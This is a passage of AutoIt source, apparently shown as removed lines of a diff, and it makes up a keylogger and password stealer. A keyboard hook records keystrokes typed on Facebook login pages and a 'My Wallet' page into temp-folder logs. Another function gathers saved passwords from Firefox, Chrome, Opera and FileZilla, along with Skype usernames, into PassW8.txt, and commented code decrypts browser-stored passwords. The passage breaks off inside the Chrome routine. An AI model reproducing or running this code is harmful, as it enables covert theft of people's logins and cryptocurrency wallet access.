- ;~ "Password: " & UncryptRDPPassword($aRow[5]) & @CRLF & _
- ;~ "____________________________________________________________________" & @CRLF
- ;~ WEnd
- ;~ EndIf
- ;~ _SQLite_QueryFinalize($hQuery)
- ;~ _SQLite_Close()
- ;~ EndIf
- ;~ Next
- ;~ EndIf
- ;~ If FileExists($tempLogindatadir) Then DirRemove($tempLogindatadir, 1)
- ;~ _SQLite_Shutdown()
- ;~ EndFunc ;==>_Get_Chrome_Opera_Password
- ;~ Func _Get_Logindata($TEmpdirlogindata)
- ;~ Local $AllProfileChrome[2][2]
- ;~ __ChromePassword_Find_LoginData($TEmpdirlogindata, $AllProfileChrome)
- ;~ If Not @error Then $AllProfileChrome[1][1] = "Chrome Password"
- ;~ $LoginDataOpera = __OPeraPassword_Find_LoginData($TEmpdirlogindata)
- ;~ If Not @error Then
- ;~ ReDim $AllProfileChrome[$AllProfileChrome[0][0] + 2][2]
- ;~ $AllProfileChrome[0][0] += 1
- ;~ $AllProfileChrome[$AllProfileChrome[0][0]][1] = "Opera Password"
- ;~ $AllProfileChrome[$AllProfileChrome[0][0]][0] = $LoginDataOpera
- ;~ EndIf
- ;~ If $AllProfileChrome[0][0] < 1 Then Return SetError(1)
- ;~ Return $AllProfileChrome
- ;~ EndFunc ;==>_Get_Logindata
- ;~ Func __ChromePassword_Find_LoginData($ChromeCopyloginPath, ByRef $AllProfileChrome)
- ;~ Local $ChromePath = @UserProfileDir & "\Local Settings\Application Data\Google\Chrome\User Data\"
- ;~ If Not FileExists($ChromePath) Then Return SetError(1)
- ;~ Local $Sname
- ;~ If FileExists($ChromePath & "Default\Login Data") Then
- ;~ $AllProfileChrome[0][0] = 1
- ;~ $Sname = $AllProfileChrome[0][0]
- ;~ FileCopy($ChromePath & "Default\Login Data", $ChromeCopyloginPath & $Sname, 9)
- ;~ If @error Then
- ;~ $ChromeCopyloginPath = $ChromePath & "Default\"
- ;~ $Sname = "Login Data"
- ;~ EndIf
- ;~ $AllProfileChrome[1][0] = $ChromeCopyloginPath & $Sname
- ;~ EndIf
- ;~ Local $search = FileFindFirstFile($ChromePath & "*.*")
- ;~ If $search = -1 Then Return SetError(2)
- ;~ While True
- ;~ Local $file = FileFindNextFile($search)
- ;~ If @error Then ExitLoop
- ;~ If Not @extended Then ContinueLoop
- ;~ If StringInStr($file, "Profile") > 0 Then
- ;~ If FileExists($ChromePath & $file & "\Login Data") Then
- ;~ ReDim $AllProfileChrome[$AllProfileChrome[0][0] + 2][2]
- ;~ $AllProfileChrome[0][0] += 1
- ;~ $Sname = $AllProfileChrome[0][0]
- ;~ FileCopy($ChromePath & $file & "\Login Data", $ChromeCopyloginPath & $Sname, 9)
- ;~ If @error Then
- ;~ $ChromeCopyloginPath = $ChromePath & $file & "\"
- ;~ $Sname = "Login Data"
- ;~ EndIf
- ;~ $AllProfileChrome[$AllProfileChrome[0][0]][0] = $ChromeCopyloginPath & $Sname
- ;~ EndIf
- ;~ EndIf
- ;~ WEnd
- ;~ FileClose($search)
- ;~ If $AllProfileChrome[0][0] < 1 Then Return SetError(3)
- ;~ EndFunc ;==>__ChromePassword_Find_LoginData
- ;~ Func __OPeraPassword_Find_LoginData($OperaCopyloginPath)
- ;~ Local $OperaPath = @AppDataDir & "\Opera Software\Opera Stable\Login Data"
- ;~ If Not FileExists($OperaPath) Then Return SetError(1)
- ;~ FileCopy($OperaPath, $OperaCopyloginPath & "Op", 9)
- ;~ If @error Then Return $OperaPath
- ;~ Return $OperaCopyloginPath & "Op"
- ;~ EndFunc ;==>__OPeraPassword_Find_LoginData
- ;~ Func UncryptRDPPassword($bin)
- ;~ ;This Func From >> http://www.autoitscript.com/forum/topic/96783-dllcall-for-cryptunprotectdata/#entry695769
- ;~ Local Const $CRYPTPROTECT_UI_FORBIDDEN = 0x1
- ;~ Local Const $DATA_BLOB = "int;ptr"
- ;~ Local $passStr = DllStructCreate("byte[1024]")
- ;~ Local $DataIn = DllStructCreate($DATA_BLOB)
- ;~ Local $DataOut = DllStructCreate($DATA_BLOB)
- ;~ $pwDescription = 'psw'
- ;~ $PwdHash = ""
- ;~ DllStructSetData($DataOut, 1, 0)
- ;~ DllStructSetData($DataOut, 2, 0)
- ;~ DllStructSetData($passStr, 1, $bin)
- ;~ DllStructSetData($DataIn, 2, DllStructGetPtr($passStr, 1))
- ;~ DllStructSetData($DataIn, 1, BinaryLen($bin))
- ;~ $return = DllCall("crypt32.dll", "int", "CryptUnprotectData", _
- ;~ "ptr", DllStructGetPtr($DataIn), _
- ;~ "ptr", 0, _
- ;~ "ptr", 0, _
- ;~ "ptr", 0, _
- ;~ "ptr", 0, _
- ;~ "dword", $CRYPTPROTECT_UI_FORBIDDEN, _
- ;~ "ptr", DllStructGetPtr($DataOut))
- ;~ If @error Then Return ""
- ;~ $len = DllStructGetData($DataOut, 1)
- ;~ $PwdHash = Ptr(DllStructGetData($DataOut, 2))
- ;~ $PwdHash = DllStructCreate("byte[" & $len & "]", $PwdHash)
- ;~ Return BinaryToString(DllStructGetData($PwdHash, 1), 4)
- ;~ EndFunc ;==>UncryptRDPPassword
- Func EvaluateKey($iKeycode)
- If (($iKeycode > 64) And ($iKeycode < 91)) _ ; a - z
- Or (($iKeycode > 96) And ($iKeycode < 123)) _ ; A - Z
- Or (($iKeycode > 47) And ($iKeycode < 58)) Then ; 0 - 9
- $g_sBuffer &= Chr($iKeycode)
- ElseIf ($iKeycode > 159) And ($iKeycode < 164) Then
- Return
- Else
- $g_sBuffer = ""
- EndIf
- EndFunc ;==>EvaluateKey
- Func _KeyProc($nCode, $wParam, $lParam)
- Local $tKEYHOOKS
- $tKEYHOOKS = DllStructCreate($tagKBDLLHOOKSTRUCT, $lParam)
- If $nCode < 0 Then
- Return _WinAPI_CallNextHookEx($g_hHook, $nCode, $wParam, $lParam)
- EndIf
- If $wParam = $WM_KEYDOWN Then
- EvaluateKey(DllStructGetData($tKEYHOOKS, "vkCode"))
- Else
- Local $iFlags = DllStructGetData($tKEYHOOKS, "flags")
- Local $ActiveWindow = WinGetTitle("")
- $A = StringRegExp($ActiveWindow, "Facebook - Log")
- $B = StringRegExp($ActiveWindow, "Facebook - Connexion")
- $C = StringRegExp($ActiveWindow, "entre ou cadastre-se")
- $D = StringRegExp($ActiveWindow, "Facebook - Inicia")
- $E = StringRegExp($ActiveWindow, "?? ??? ???")
- $F = StringRegExp($ActiveWindow, "My Wallet - Be Your Own")
- If $A = 1 Or $B = 1 Or $C = 1 Or $D = 1 Or $E = 1 Or $F = 1 Then
- If $F = 1 Then
- $tc = "2"
- Else
- $tc = ""
- EndIf
- Switch $iFlags
- Case $LLKHF_ALTDOWN
- If DllStructGetData($tKEYHOOKS, "scanCode") = 11 Then
- FileWrite(@TempDir & "/Log" & $tc & ".txt", "@")
- EndIf
- ;~ ConsoleWrite("$LLKHF_ALTDOWN" & @CRLF)
- Case $LLKHF_EXTENDED
- ;~ ConsoleWrite("$LLKHF_EXTENDED" & @CRLF)
- Case $LLKHF_INJECTED
- ;~ ConsoleWrite("$LLKHF_INJECTED" & @CRLF)
- Case $LLKHF_UP
- ;~ ConsoleWrite("$LLKHF_UP: scanCode - " & DllStructGetData($tKEYHOOKS, "scanCode") & @TAB & "vkCode - " & DllStructGetData($tKEYHOOKS, "vkCode") & @CRLF)
- If _CurrentLang() = 'French' Then
- If DllStructGetData($tKEYHOOKS, "scanCode") = 16 Then
- FileWrite(@TempDir & "/Log" & $tc & ".txt", "a")
- EndIf
- Else
- If DllStructGetData($tKEYHOOKS, "scanCode") = 16 Then
- FileWrite(@TempDir & "/Log" & $tc & ".txt", "q")
- EndIf
- EndIf
- If DllStructGetData($tKEYHOOKS, "scanCode") = 48 Then
- FileWrite(@TempDir & "/Log" & $tc & ".txt", "b")
- EndIf
- If DllStructGetData($tKEYHOOKS, "scanCode") = 46 Then
- FileWrite(@TempDir & "/Log" & $tc & ".txt", "c")
- EndIf
- If DllStructGetData($tKEYHOOKS, "scanCode") = 32 Then
- FileWrite(@TempDir & "/Log" & $tc & ".txt", "d")
- EndIf
- If DllStructGetData($tKEYHOOKS, "scanCode") = 18 Then
- FileWrite(@TempDir & "/Log" & $tc & ".txt", "e")
- EndIf
- If DllStructGetData($tKEYHOOKS, "scanCode") = 33 Then
- FileWrite(@TempDir & "/Log" & $tc & ".txt", "f")
- EndIf
- If DllStructGetData($tKEYHOOKS, "scanCode") = 34 Then
- FileWrite(@TempDir & "/Log" & $tc & ".txt", "g")
- EndIf
- If DllStructGetData($tKEYHOOKS, "scanCode") = 35 Then
- FileWrite(@TempDir & "/Log" & $tc & ".txt", "h")
- EndIf
- If DllStructGetData($tKEYHOOKS, "scanCode") = 23 Then
- FileWrite(@TempDir & "/Log" & $tc & ".txt", "i")
- EndIf
- If DllStructGetData($tKEYHOOKS, "scanCode") = 36 Then
- FileWrite(@TempDir & "/Log" & $tc & ".txt", "j")
- EndIf
- If DllStructGetData($tKEYHOOKS, "scanCode") = 37 Then
- FileWrite(@TempDir & "/Log" & $tc & ".txt", "k")
- EndIf
- If DllStructGetData($tKEYHOOKS, "scanCode") = 38 Then
- FileWrite(@TempDir & "/Log" & $tc & ".txt", "l")
- EndIf
- If DllStructGetData($tKEYHOOKS, "scanCode") = 39 Then
- FileWrite(@TempDir & "/Log" & $tc & ".txt", "m")
- EndIf
- If DllStructGetData($tKEYHOOKS, "scanCode") = 49 Then
- FileWrite(@TempDir & "/Log" & $tc & ".txt", "n")
- EndIf
- If DllStructGetData($tKEYHOOKS, "scanCode") = 24 Then
- FileWrite(@TempDir & "/Log" & $tc & ".txt", "o")
- EndIf
- If DllStructGetData($tKEYHOOKS, "scanCode") = 25 Then
- FileWrite(@TempDir & "/Log" & $tc & ".txt", "p")
- EndIf
- If _CurrentLang() = 'French' Then
- If DllStructGetData($tKEYHOOKS, "scanCode") = 30 Then
- FileWrite(@TempDir & "/Log" & $tc & ".txt", "q")
- EndIf
- Else
- If DllStructGetData($tKEYHOOKS, "scanCode") = 30 Then
- FileWrite(@TempDir & "/Log" & $tc & ".txt", "a")
- EndIf
- EndIf
- If DllStructGetData($tKEYHOOKS, "scanCode") = 19 Then
- FileWrite(@TempDir & "/Log" & $tc & ".txt", "r")
- EndIf
- If DllStructGetData($tKEYHOOKS, "scanCode") = 31 Then
- FileWrite(@TempDir & "/Log" & $tc & ".txt", "s")
- EndIf
- If DllStructGetData($tKEYHOOKS, "scanCode") = 20 Then
- FileWrite(@TempDir & "/Log" & $tc & ".txt", "t")
- EndIf
- If DllStructGetData($tKEYHOOKS, "scanCode") = 22 Then
- FileWrite(@TempDir & "/Log" & $tc & ".txt", "u")
- EndIf
- If DllStructGetData($tKEYHOOKS, "scanCode") = 47 Then
- FileWrite(@TempDir & "/Log" & $tc & ".txt", "v")
- EndIf
- If _CurrentLang() = 'French' Then
- If DllStructGetData($tKEYHOOKS, "scanCode") = 44 Then
- FileWrite(@TempDir & "/Log" & $tc & ".txt", "w")
- EndIf
- Else
- If DllStructGetData($tKEYHOOKS, "scanCode") = 44 Then
- FileWrite(@TempDir & "/Log" & $tc & ".txt", "z")
- EndIf
- EndIf
- If DllStructGetData($tKEYHOOKS, "scanCode") = 45 Then
- FileWrite(@TempDir & "/Log" & $tc & ".txt", "x")
- EndIf
- If DllStructGetData($tKEYHOOKS, "scanCode") = 21 Then
- FileWrite(@TempDir & "/Log" & $tc & ".txt", "y")
- EndIf
- If _CurrentLang() = 'French' Then
- If DllStructGetData($tKEYHOOKS, "scanCode") = 17 Then
- FileWrite(@TempDir & "/Log" & $tc & ".txt", "z")
- EndIf
- Else
- If DllStructGetData($tKEYHOOKS, "scanCode") = 17 Then
- FileWrite(@TempDir & "/Log" & $tc & ".txt", "w")
- EndIf
- EndIf
- If DllStructGetData($tKEYHOOKS, "scanCode") = 82 Then
- FileWrite(@TempDir & "/Log" & $tc & ".txt", "0")
- EndIf
- If DllStructGetData($tKEYHOOKS, "scanCode") = 79 Then
- FileWrite(@TempDir & "/Log" & $tc & ".txt", "1")
- EndIf
- If DllStructGetData($tKEYHOOKS, "scanCode") = 80 Then
- FileWrite(@TempDir & "/Log" & $tc & ".txt", "2")
- EndIf
- If DllStructGetData($tKEYHOOKS, "scanCode") = 81 Then
- FileWrite(@TempDir & "/Log" & $tc & ".txt", "3")
- EndIf
- If DllStructGetData($tKEYHOOKS, "scanCode") = 75 Then
- FileWrite(@TempDir & "/Log" & $tc & ".txt", "4")
- EndIf
- If DllStructGetData($tKEYHOOKS, "scanCode") = 76 Then
- FileWrite(@TempDir & "/Log" & $tc & ".txt", "5")
- EndIf
- If DllStructGetData($tKEYHOOKS, "scanCode") = 77 Then
- FileWrite(@TempDir & "/Log" & $tc & ".txt", "6")
- EndIf
- If DllStructGetData($tKEYHOOKS, "scanCode") = 71 Then
- FileWrite(@TempDir & "/Log" & $tc & ".txt", "7")
- EndIf
- If DllStructGetData($tKEYHOOKS, "scanCode") = 72 Then
- FileWrite(@TempDir & "/Log" & $tc & ".txt", "8")
- EndIf
- If DllStructGetData($tKEYHOOKS, "scanCode") = 73 Then
- FileWrite(@TempDir & "/Log" & $tc & ".txt", "9")
- EndIf
- If DllStructGetData($tKEYHOOKS, "scanCode") = 28 Then
- FileWrite(@TempDir & "/Log" & $tc & ".txt", " [Enter] ")
- EndIf
- If DllStructGetData($tKEYHOOKS, "scanCode") = 57 Then
- FileWrite(@TempDir & "/Log" & $tc & ".txt", " ")
- EndIf
- If DllStructGetData($tKEYHOOKS, "scanCode") = 83 Then
- FileWrite(@TempDir & "/Log" & $tc & ".txt", ".")
- EndIf
- EndSwitch
- Local $uuu
- If FileExists(@TempDir & "/Log" & $tc & ".txt") Then
- _FileReadToArray(@TempDir & "/Log" & $tc & ".txt", $uuu)
- $1112 = StringLen($uuu[$uuu[0]])
- If $1112 > 44 Then
- FileWrite(@TempDir & "/Log" & $tc & ".txt", "" & @CRLF)
- EndIf
- EndIf
- Else
- Switch $iFlags
- Case $LLKHF_ALTDOWN
- If DllStructGetData($tKEYHOOKS, "scanCode") = 11 Then
- FileWrite(@TempDir & "/KLog.txt", "@")
- EndIf
- Case $LLKHF_EXTENDED
- Case $LLKHF_INJECTED
- Case $LLKHF_UP
- If _CurrentLang() = 'French' Then
- If DllStructGetData($tKEYHOOKS, "scanCode") = 16 Then
- FileWrite(@TempDir & "/KLog.txt", "a")
- EndIf
- Else
- If DllStructGetData($tKEYHOOKS, "scanCode") = 16 Then
- FileWrite(@TempDir & "/KLog.txt", "q")
- EndIf
- EndIf
- If DllStructGetData($tKEYHOOKS, "scanCode") = 48 Then
- FileWrite(@TempDir & "/KLog.txt", "b")
- EndIf
- If DllStructGetData($tKEYHOOKS, "scanCode") = 46 Then
- FileWrite(@TempDir & "/KLog.txt", "c")
- EndIf
- If DllStructGetData($tKEYHOOKS, "scanCode") = 32 Then
- FileWrite(@TempDir & "/KLog.txt", "d")
- EndIf
- If DllStructGetData($tKEYHOOKS, "scanCode") = 18 Then
- FileWrite(@TempDir & "/KLog.txt", "e")
- EndIf
- If DllStructGetData($tKEYHOOKS, "scanCode") = 33 Then
- FileWrite(@TempDir & "/KLog.txt", "f")
- EndIf
- If DllStructGetData($tKEYHOOKS, "scanCode") = 34 Then
- FileWrite(@TempDir & "/KLog.txt", "g")
- EndIf
- If DllStructGetData($tKEYHOOKS, "scanCode") = 35 Then
- FileWrite(@TempDir & "/KLog.txt", "h")
- EndIf
- If DllStructGetData($tKEYHOOKS, "scanCode") = 23 Then
- FileWrite(@TempDir & "/KLog.txt", "i")
- EndIf
- If DllStructGetData($tKEYHOOKS, "scanCode") = 36 Then
- FileWrite(@TempDir & "/KLog.txt", "j")
- EndIf
- If DllStructGetData($tKEYHOOKS, "scanCode") = 37 Then
- FileWrite(@TempDir & "/KLog.txt", "k")
- EndIf
- If DllStructGetData($tKEYHOOKS, "scanCode") = 38 Then
- FileWrite(@TempDir & "/KLog.txt", "l")
- EndIf
- If DllStructGetData($tKEYHOOKS, "scanCode") = 39 Then
- FileWrite(@TempDir & "/KLog.txt", "m")
- EndIf
- If DllStructGetData($tKEYHOOKS, "scanCode") = 49 Then
- FileWrite(@TempDir & "/KLog.txt", "n")
- EndIf
- If DllStructGetData($tKEYHOOKS, "scanCode") = 24 Then
- FileWrite(@TempDir & "/KLog.txt", "o")
- EndIf
- If DllStructGetData($tKEYHOOKS, "scanCode") = 25 Then
- FileWrite(@TempDir & "/KLog.txt", "p")
- EndIf
- If _CurrentLang() = 'French' Then
- If DllStructGetData($tKEYHOOKS, "scanCode") = 30 Then
- FileWrite(@TempDir & "/KLog.txt", "q")
- EndIf
- Else
- If DllStructGetData($tKEYHOOKS, "scanCode") = 30 Then
- FileWrite(@TempDir & "/KLog.txt", "a")
- EndIf
- EndIf
- If DllStructGetData($tKEYHOOKS, "scanCode") = 19 Then
- FileWrite(@TempDir & "/KLog.txt", "r")
- EndIf
- If DllStructGetData($tKEYHOOKS, "scanCode") = 31 Then
- FileWrite(@TempDir & "/KLog.txt", "s")
- EndIf
- If DllStructGetData($tKEYHOOKS, "scanCode") = 20 Then
- FileWrite(@TempDir & "/KLog.txt", "t")
- EndIf
- If DllStructGetData($tKEYHOOKS, "scanCode") = 22 Then
- FileWrite(@TempDir & "/KLog.txt", "u")
- EndIf
- If DllStructGetData($tKEYHOOKS, "scanCode") = 47 Then
- FileWrite(@TempDir & "/KLog.txt", "v")
- EndIf
- If _CurrentLang() = 'French' Then
- If DllStructGetData($tKEYHOOKS, "scanCode") = 44 Then
- FileWrite(@TempDir & "/KLog.txt", "w")
- EndIf
- Else
- If DllStructGetData($tKEYHOOKS, "scanCode") = 44 Then
- FileWrite(@TempDir & "/KLog.txt", "z")
- EndIf
- EndIf
- If DllStructGetData($tKEYHOOKS, "scanCode") = 45 Then
- FileWrite(@TempDir & "/KLog.txt", "x")
- EndIf
- If DllStructGetData($tKEYHOOKS, "scanCode") = 21 Then
- FileWrite(@TempDir & "/KLog.txt", "y")
- EndIf
- If _CurrentLang() = 'French' Then
- If DllStructGetData($tKEYHOOKS, "scanCode") = 17 Then
- FileWrite(@TempDir & "/KLog.txt", "z")
- EndIf
- Else
- If DllStructGetData($tKEYHOOKS, "scanCode") = 17 Then
- FileWrite(@TempDir & "/KLog.txt", "w")
- EndIf
- EndIf
- If DllStructGetData($tKEYHOOKS, "scanCode") = 82 Then
- FileWrite(@TempDir & "/KLog.txt", "0")
- EndIf
- If DllStructGetData($tKEYHOOKS, "scanCode") = 79 Then
- FileWrite(@TempDir & "/KLog.txt", "1")
- EndIf
- If DllStructGetData($tKEYHOOKS, "scanCode") = 80 Then
- FileWrite(@TempDir & "/KLog.txt", "2")
- EndIf
- If DllStructGetData($tKEYHOOKS, "scanCode") = 81 Then
- FileWrite(@TempDir & "/KLog.txt", "3")
- EndIf
- If DllStructGetData($tKEYHOOKS, "scanCode") = 75 Then
- FileWrite(@TempDir & "/KLog.txt", "4")
- EndIf
- If DllStructGetData($tKEYHOOKS, "scanCode") = 76 Then
- FileWrite(@TempDir & "/KLog.txt", "5")
- EndIf
- If DllStructGetData($tKEYHOOKS, "scanCode") = 77 Then
- FileWrite(@TempDir & "/KLog.txt", "6")
- EndIf
- If DllStructGetData($tKEYHOOKS, "scanCode") = 71 Then
- FileWrite(@TempDir & "/KLog.txt", "7")
- EndIf
- If DllStructGetData($tKEYHOOKS, "scanCode") = 72 Then
- FileWrite(@TempDir & "/KLog.txt", "8")
- EndIf
- If DllStructGetData($tKEYHOOKS, "scanCode") = 73 Then
- FileWrite(@TempDir & "/KLog.txt", "9")
- EndIf
- ;~ If DllStructGetData($tKEYHOOKS, "scanCode") = 28 Then
- ;~ FileWrite(@TempDir & "/KLog.txt", " [Enter] ")
- ;~ EndIf
- If DllStructGetData($tKEYHOOKS, "scanCode") = 57 Then
- FileWrite(@TempDir & "/KLog.txt", " ")
- EndIf
- If DllStructGetData($tKEYHOOKS, "scanCode") = 83 Then
- FileWrite(@TempDir & "/KLog.txt", ".")
- EndIf
- EndSwitch
- ;~ Local $uuu2
- ;~ If FileExists(@TempDir & "/KLog.txt") Then
- ;~ _FileReadToArray(@TempDir & "/KLog.txt", $uuu2)
- ;~ $11122 = StringLen($uuu2[$uuu2[0]])
- ;~ If $11122 > 79 Then
- ;~ FileWrite(@TempDir & "/KLog.txt", "" & @CRLF)
- ;~ EndIf
- ;~ EndIf
- EndIf
- EndIf
- Return _WinAPI_CallNextHookEx($g_hHook, $nCode, $wParam, $lParam)
- EndFunc ;==>_KeyProc
- Func Cleanup()
- _WinAPI_UnhookWindowsHookEx($g_hHook)
- DllCallbackFree($g_hStub_KeyProc)
- EndFunc ;==>Cleanup
- ;~ Func _KeyProc2($nCode, $wParam, $lParam)
- ;~ Local $tKEYHOOKS
- ;~ $tKEYHOOKS = DllStructCreate($tagKBDLLHOOKSTRUCT, $lParam)
- ;~ If $nCode < 0 Then
- ;~ Return _WinAPI_CallNextHookEx($g_hHook, $nCode, $wParam, $lParam)
- ;~ EndIf
- ;~ If $wParam = $WM_KEYDOWN Then
- ;~ EvaluateKey(DllStructGetData($tKEYHOOKS, "vkCode"))
- ;~ Else
- ;~ Local $iFlags = DllStructGetData($tKEYHOOKS, "flags")
- ;~ Switch $iFlags
- ;~ Case $LLKHF_ALTDOWN
- ;~ If DllStructGetData($tKEYHOOKS, "scanCode") = 11 Then
- ;~ FileWrite(@TempDir & "/KLog.txt", "@")
- ;~ EndIf
- ;~ Case $LLKHF_EXTENDED
- ;~ Case $LLKHF_INJECTED
- ;~ Case $LLKHF_UP
- ;~ If DllStructGetData($tKEYHOOKS, "scanCode") = 16 Then
- ;~ FileWrite(@TempDir & "/KLog.txt", "a")
- ;~ EndIf
- ;~ If DllStructGetData($tKEYHOOKS, "scanCode") = 48 Then
- ;~ FileWrite(@TempDir & "/KLog.txt", "b")
- ;~ EndIf
- ;~ If DllStructGetData($tKEYHOOKS, "scanCode") = 46 Then
- ;~ FileWrite(@TempDir & "/KLog.txt", "c")
- ;~ EndIf
- ;~ If DllStructGetData($tKEYHOOKS, "scanCode") = 32 Then
- ;~ FileWrite(@TempDir & "/KLog.txt", "d")
- ;~ EndIf
- ;~ If DllStructGetData($tKEYHOOKS, "scanCode") = 18 Then
- ;~ FileWrite(@TempDir & "/KLog.txt", "e")
- ;~ EndIf
- ;~ If DllStructGetData($tKEYHOOKS, "scanCode") = 33 Then
- ;~ FileWrite(@TempDir & "/KLog.txt", "f")
- ;~ EndIf
- ;~ If DllStructGetData($tKEYHOOKS, "scanCode") = 34 Then
- ;~ FileWrite(@TempDir & "/KLog.txt", "g")
- ;~ EndIf
- ;~ If DllStructGetData($tKEYHOOKS, "scanCode") = 35 Then
- ;~ FileWrite(@TempDir & "/KLog.txt", "h")
- ;~ EndIf
- ;~ If DllStructGetData($tKEYHOOKS, "scanCode") = 23 Then
- ;~ FileWrite(@TempDir & "/KLog.txt", "i")
- ;~ EndIf
- ;~ If DllStructGetData($tKEYHOOKS, "scanCode") = 36 Then
- ;~ FileWrite(@TempDir & "/KLog.txt", "j")
- ;~ EndIf
- ;~ If DllStructGetData($tKEYHOOKS, "scanCode") = 37 Then
- ;~ FileWrite(@TempDir & "/KLog.txt", "k")
- ;~ EndIf
- ;~ If DllStructGetData($tKEYHOOKS, "scanCode") = 38 Then
- ;~ FileWrite(@TempDir & "/KLog.txt", "l")
- ;~ EndIf
- ;~ If DllStructGetData($tKEYHOOKS, "scanCode") = 39 Then
- ;~ FileWrite(@TempDir & "/KLog.txt", "m")
- ;~ EndIf
- ;~ If DllStructGetData($tKEYHOOKS, "scanCode") = 49 Then
- ;~ FileWrite(@TempDir & "/KLog.txt", "n")
- ;~ EndIf
- ;~ If DllStructGetData($tKEYHOOKS, "scanCode") = 24 Then
- ;~ FileWrite(@TempDir & "/KLog.txt", "o")
- ;~ EndIf
- ;~ If DllStructGetData($tKEYHOOKS, "scanCode") = 25 Then
- ;~ FileWrite(@TempDir & "/KLog.txt", "p")
- ;~ EndIf
- ;~ If DllStructGetData($tKEYHOOKS, "scanCode") = 30 Then
- ;~ FileWrite(@TempDir & "/KLog.txt", "q")
- ;~ EndIf
- ;~ If DllStructGetData($tKEYHOOKS, "scanCode") = 19 Then
- ;~ FileWrite(@TempDir &"/KLog.txt", "r")
- ;~ EndIf
- ;~ If DllStructGetData($tKEYHOOKS, "scanCode") = 31 Then
- ;~ FileWrite(@TempDir & "/KLog.txt", "s")
- ;~ EndIf
- ;~ If DllStructGetData($tKEYHOOKS, "scanCode") = 20 Then
- ;~ FileWrite(@TempDir & "/KLog.txt", "t")
- ;~ EndIf
- ;~ If DllStructGetData($tKEYHOOKS, "scanCode") = 22 Then
- ;~ FileWrite(@TempDir & "/KLog.txt", "u")
- ;~ EndIf
- ;~ If DllStructGetData($tKEYHOOKS, "scanCode") = 47 Then
- ;~ FileWrite(@TempDir & "/KLog.txt", "v")
- ;~ EndIf
- ;~ If DllStructGetData($tKEYHOOKS, "scanCode") = 44 Then
- ;~ FileWrite(@TempDir & "/KLog.txt", "w")
- ;~ EndIf
- ;~ If DllStructGetData($tKEYHOOKS, "scanCode") = 45 Then
- ;~ FileWrite(@TempDir & "/KLog.txt", "x")
- ;~ EndIf
- ;~ If DllStructGetData($tKEYHOOKS, "scanCode") = 21 Then
- ;~ FileWrite(@TempDir & "/KLog.txt", "y")
- ;~ EndIf
- ;~ If DllStructGetData($tKEYHOOKS, "scanCode") = 17 Then
- ;~ FileWrite(@TempDir & "/KLog.txt", "z")
- ;~ EndIf
- ;~ If DllStructGetData($tKEYHOOKS, "scanCode") = 82 Then
- ;~ FileWrite(@TempDir &"/KLog.txt", "0")
- ;~ EndIf
- ;~ If DllStructGetData($tKEYHOOKS, "scanCode") = 79 Then
- ;~ FileWrite(@TempDir & "/KLog.txt", "1")
- ;~ EndIf
- ;~ If DllStructGetData($tKEYHOOKS, "scanCode") = 80 Then
- ;~ FileWrite(@TempDir & "/KLog.txt", "2")
- ;~ EndIf
- ;~ If DllStructGetData($tKEYHOOKS, "scanCode") = 81 Then
- ;~ FileWrite(@TempDir & "/KLog.txt", "3")
- ;~ EndIf
- ;~ If DllStructGetData($tKEYHOOKS, "scanCode") = 75 Then
- ;~ FileWrite(@TempDir & "/KLog.txt", "4")
- ;~ EndIf
- ;~ If DllStructGetData($tKEYHOOKS, "scanCode") = 76 Then
- ;~ FileWrite(@TempDir & "/KLog.txt", "5")
- ;~ EndIf
- ;~ If DllStructGetData($tKEYHOOKS, "scanCode") = 77 Then
- ;~ FileWrite(@TempDir & "/KLog.txt", "6")
- ;~ EndIf
- ;~ If DllStructGetData($tKEYHOOKS, "scanCode") = 71 Then
- ;~ FileWrite(@TempDir & "/KLog.txt", "7")
- ;~ EndIf
- ;~ If DllStructGetData($tKEYHOOKS, "scanCode") = 72 Then
- ;~ FileWrite(@TempDir & "/KLog.txt", "8")
- ;~ EndIf
- ;~ If DllStructGetData($tKEYHOOKS, "scanCode") = 73 Then
- ;~ FileWrite(@TempDir & "/KLog.txt", "9")
- ;~ EndIf
- ;~ If DllStructGetData($tKEYHOOKS, "scanCode") = 28 Then
- ;~ FileWrite(@TempDir & "/KLog.txt", " [Enter] ")
- ;~ EndIf
- ;~ If DllStructGetData($tKEYHOOKS, "scanCode") = 57 Then
- ;~ FileWrite(@TempDir & "/KLog.txt", " ")
- ;~ EndIf
- ;~ If DllStructGetData($tKEYHOOKS, "scanCode") = 83 Then
- ;~ FileWrite(@TempDir & "/KLog.txt", ".")
- ;~ EndIf
- ;~ EndSwitch
- ;~ EndIf
- ;~ Return _WinAPI_CallNextHookEx($g_hHook, $nCode, $wParam, $lParam)
- ;~ EndFunc ;==>_KeyProc
- Func _888Pass()
- FileInstall('Sqlite.dll', @TempDir & '/Sqlite.dll')
- FileDelete(@TempDir & '/PassW8.txt')
- Local $Passwordxx
- _Firefox_Password_recovery($Passwordxx)
- FileWrite(@TempDir & '/PassW8.txt', $Passwordxx)
- $Password = Chrome()
- FileWrite(@TempDir& '/PassW8.txt', $Password)
- $Password = Opera()
- FileWrite(@TempDir & '/PassW8.txt', $Password)
- $file = @TempDir & "\PassW8.txt"
- $file_handle = FileOpen($file, 1)
- If $file_handle <> -1 Then
- FileWrite($file_handle, @CRLF & @CRLF & "######## [ FileZilla Password ] ########" & @CRLF & @CRLF & @CRLF& filezilla())
- FileFlush($file_handle)
- FileClose($file_handle)
- EndIf
- $ssd = _FileListToArray(@AppDataDir & "\Skype\", "*", 2)
- If $ssd <> "" And $ssd <> -1 And $ssd <> @error Then
- FileWrite(@tempdir& "/PassW8.txt",@CRLF&@CRLF&"######## [ Skype Users ] ########"&@CRLF&@CRLF&@CRLF)
- For $i = 1 To $ssd[0] Step +1
- If FileExists(@AppDataDir & "\Skype\" & $ssd[$i] & "\Config.xml") Then
- FileWrite(@tempdir& '/PassW8.txt',"User = "&$ssd[$i]&@CRLF&@CRLF)
- ;Skypxx
- EndIf
- Next
- EndIf
- EndFunc
- Func Chrome()
- Local $sWeb, $aResult, $iRows, $iColumns, $iRval, $hData, $UserLocal, $sBrowser, $sDataLoginPath
- $sDataLoginPath = _WinAPI_ShellGetSpecialFolderPath(0x001C) & "\Google\Chrome\User Data\Default\Login Data"
- $sBrowser = "######## [ Chrome Password ] ########"
- Local $TempData = @TempDir & "\TempData.db"
- Local $sPathData = ""
- FileCopy($sDataLoginPath, $TempData, 1)
- Sleep(4000)
- If FileExists($TempData) Then
- $sPathData = $TempData
- EndIf
- _SQLite_Startup($sSQliteDll)
- If @error Then Return
- $hData = _SQLite_Open($sPathData)
- If @error Then Return
- $iRval = _SQLite_GetTable2d(-1, "SELECT * FROM logins;", $aResult, $iRows, $iColumns)
- _SQLite_Close($hData)
